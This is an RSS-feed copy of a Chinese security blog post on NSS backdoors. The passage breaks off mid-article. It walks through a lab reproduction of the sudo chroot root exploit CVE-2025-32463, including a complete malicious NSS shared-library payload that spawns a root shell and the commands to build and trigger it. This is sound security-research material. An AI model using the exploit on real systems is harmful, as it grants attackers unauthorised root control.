<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>NOP Team</title>
    <link>https://wechat2rss.xlab.app/feed/3f56e6d80d7e3e5f73983bfa6c06045ff62f1530.xml</link>
    <description>有态度，不苟同    No System Is Safe！&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (NOP Team)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM6K7BscJ2NDJk9qyHicAcWbGDib8p30BNlxspq0YjvQib3uQ/0</url>
      <title>NOP Team</title>
      <link>https://wechat2rss.xlab.app/feed/3f56e6d80d7e3e5f73983bfa6c06045ff62f1530.xml</link>
    </image>
    <item>
      <title>NSS 后门 | Linux 后门系列</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NDkwMzAyMg==&amp;mid=2247503116&amp;idx=1&amp;sn=f18024ce255f4f686a7d5a17e09dfcf4</link>
      <description>愿心中的火永不熄灭！</description>
      <content:encoded><![CDATA[<p>原创 <span>NOP Team</span> <span>2026-05-09 22:33</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=da2d21e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7icpL221ib6YiasDPnknPmFW0nHMSP6JlphvoneeEhD9RLlLZricw5aPMmB589wooyIFW5pLQBRBuTVPNmnzx52gicbUcs1EOAywHciaVHJJEH8f8%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>愿心中的火永不熄灭！</p>
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;margin-top: -10px;" data-pm-slice="0 0 []"><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: #FF9800;background: #FFF3E0;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">赵姐是我永远的偶像！</span></p></blockquote></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x01 从一个漏洞说起</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">2025 年 6 月 30 日，一个编号为 </span><strong style="font-weight: bold;color: black;"><span leaf="">CVE-2025-32463</span></strong><span leaf=""> 的 sudo 漏洞被公开披露，CVSS 评分 </span><strong style="font-weight: bold;color: black;"><span leaf="">9.8（严重）</span></strong><span leaf="">。这个漏洞的特殊之处在于：</span><strong style="font-weight: bold;color: black;"><span leaf="">任何本地普通用户，即使不在 sudoers 列表中，也能直接获取 root 权限。</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">不需要 0day，不需要复杂利用链，只需要几行命令。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">漏洞的核心利用对象，是一个大多数运维人员从未关注过的配置文件——</span><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/nsswitch.conf</span></code></strong><span leaf="">。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">攻击者只需在可控目录下伪造一份 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf="">，指向一个恶意编译的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_*.so.2</span></code><span leaf=""> 共享库，然后通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo -R</span></code><span leaf="">（chroot）触发加载。由于 sudo 在 chroot 后、降权前读取这份伪造的配置文件，恶意库便以 root 身份被 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen()</span></code><span leaf=""> 加载并执行构造函数——一个 root shell 就这样诞生了。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">整个过程可以简化为：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">mkdir -p /tmp/evil/{etc,lib}</span><span leaf=""><br/></span><span leaf="">echo &#39;passwd: files myevil&#39; &gt; /tmp/evil/etc/nsswitch.conf</span><span leaf=""><br/></span><span leaf="">gcc -shared -fPIC -o /tmp/evil/lib/libnss_myevil.so.2 payload.c</span><span leaf=""><br/></span><span leaf="">sudo -R /tmp/evil id</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">是的，就这么简单。在 Ubuntu 24.04、Fedora 41、Debian、RHEL、Arch、WSL 2 等几乎所有主流 Linux 环境上均默认可用。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个漏洞把一个长期被忽视的系统机制推到了聚光灯下：</span><strong style="font-weight: bold;color: black;"><span leaf="">NSS（Name Service Switch）</span></strong><span leaf="">。它不仅是一个&#34;无聊的配置文件&#34;，更是一个天然的</span><strong style="font-weight: bold;color: black;"><span leaf="">代码执行入口</span></strong><span leaf="">。一旦被攻击者利用，它可以成为权限提升的跳板，也可以成为长期潜伏的后门。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">本文将从 NSS 机制原理出发，深入剖析 NSS 后门的技术细节，涵盖从原理到实战、从攻击到防御的完整知识体系。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">漏洞复现</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">环境要求：</span></strong></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Docker 镜像：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf=""><a href="https://hub.docker.com/r/y4ney/cve-2025-32463-lab" target="_blank">https://hub.docker.com/r/y4ney/cve-2025-32463-lab</a></span></code></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">sudo 版本：1.9.14 ~ 1.9.17（可通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo --version</span></code><span leaf=""> 确认）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">当前用户：任意普通用户，</span><strong style="font-weight: bold;color: black;"><span leaf="">无需 sudo 权限</span></strong></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">依赖：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">gcc</span></code><span leaf=""> 编译器</span></p></li></ul><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf="">⚠️ 以下内容仅供安全研究与授权测试使用，请勿用于非法用途。</span></p></blockquote><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">Step 1：确认 sudo 版本</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">sudo --version</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2361111111111111" data-type="png" data-w="1080" style=";" data-imgfileid="100019459" src="https://wechat2rss.xlab.app/img-proxy/?k=f9ce2ec6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YjaicibXJI6RcialpdFpEdW2bqhwiaLzY0wcRlur2RUpRyEKzboRQc7jjtOibOsWehjIP276YjSazlFIVGe3uiaQfGicKkjxL9LE4p8CQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">Step 2：创建一个无 sudo 权限的普通用户</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">为了更真实地模拟攻击场景，我们先创建一个不具备任何 sudo 权限的普通用户：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 以 root 身份执行</span></span><span leaf=""><br/></span><span leaf="">useradd -m -s /bin/bash testuser</span><span leaf=""><br/></span><span leaf="">passwd testuser</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">验证该用户不在 sudoers 中：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">su - testuser</span><span leaf=""><br/></span><span leaf="">sudo -l</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">后续所有操作均以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">testuser</span></code><span leaf=""> 身份进行。</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.31574074074074077" data-type="png" data-w="1080" style=";" data-imgfileid="100019462" src="https://wechat2rss.xlab.app/img-proxy/?k=e6ad09b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YhNRt5NCXObvVjTaY1r6EBENPkzul7BDk1GeyRlaMkbGn3tclVX3iblU5aX2wWBicgdCcsZicxrM4iaLR5GJjCSiaq4KycaCwLU1bVw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">Step 3：创建工作目录</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">WORKDIR=$(mktemp -d)</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">cd</span></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">$WORKDIR</span></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.08703703703703704" data-type="png" data-w="1080" style=";" data-imgfileid="100019460" src="https://wechat2rss.xlab.app/img-proxy/?k=96677e1b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YjUuic47UjjnIJ9gdbFU99rzMQ6jFnbhrjN8hFDGDh0JyfktnyZP9eZQ4TG42jycfEnM5yylo9uCLTmkPIwG1TXbmhqkLxlA4Js%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">Step 4：编写恶意 NSS 模块</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">创建 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">evil.c</span></code><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;stdlib.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;unistd.h&gt;</span></span></span><span leaf=""><br/></span><span leaf="">__attribute__((constructor))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">pwn</span></span><span style="line-height: 26px;"><span leaf="">(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span leaf="">)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    setreuid(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    setregid(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    chdir(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    execl(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;bash&#34;</span></span><span leaf="">, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这段代码的关键在于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">__attribute__((constructor))</span></code><span leaf="">——它使得 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">pwn()</span></code><span leaf=""> 函数在共享库被 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen()</span></code><span leaf=""> 加载时</span><strong style="font-weight: bold;color: black;"><span leaf="">自动执行</span></strong><span leaf="">，无需任何显式调用。函数内部通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setreuid(0,0)</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setregid(0,0)</span></code><span leaf=""> 将当前进程的 UID/GID 提升为 0（root），随后弹出一个 root shell。</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3712962962962963" data-type="png" data-w="1080" style=";" data-imgfileid="100019463" src="https://wechat2rss.xlab.app/img-proxy/?k=347eaac6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6YjJbWsAkbjxxjg2SLMxjPylLAmFwicfVJibKrmdPzFhf3cuXBTiclf6juMtiayvbVsRWIXj8l6QjISPKP3bFstzNpybO3Kzib3tT91o%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">Step 5：搭建伪造 chroot 环境</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">mkdir -p nop/etc</span><span leaf=""><br/></span><span leaf="">mkdir -p libnss_</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;passwd: /nop&#34;</span></span><span leaf=""> &gt; nop/etc/nsswitch.conf</span><span leaf=""><br/></span><span leaf="">cp /etc/group nop/etc/</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这里有几个要点：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">passwd:</span></code><span leaf=""> 后写的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/nop</span></code><span leaf="">，NSS 会按规则拼接为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_/nop.so.2</span></code><span leaf="">。由于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/nop</span></code><span leaf=""> 以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/</span></code><span leaf=""> 开头，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_</span></code><span leaf=""> 实际上变成了一个</span><strong style="font-weight: bold;color: black;"><span leaf="">目录名</span></strong><span leaf="">，因此需要 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">mkdir -p libnss_</span></code><span leaf=""> 创建这个目录，再将编译好的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop.so.2</span></code><span leaf=""> 放入其中</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">复制 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/group</span></code><span leaf=""> 是为了让 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">getgrnam()</span></code><span leaf=""> 调用不至于直接失败</span></p></li></ul><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.11018518518518519" data-type="png" data-w="1080" style=";" data-imgfileid="100019461" src="https://wechat2rss.xlab.app/img-proxy/?k=efda2c5a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7icpL221ib6YiajVCbbAeqHXeC8b27ibLKeZBiaQx889kibSa2C4riaHX1ZZ6ZKayMMrgqGhk1v2OxDcnoYcx7nDxHwEw8cZq1pUuDTaZIw7EqPAow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">Step 6：编译恶意共享库</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">gcc -shared -fPIC -Wl,-init,pwn -o libnss_/nop.so.2 evil.c</span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.11851851851851852" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-imgfileid="100019419" 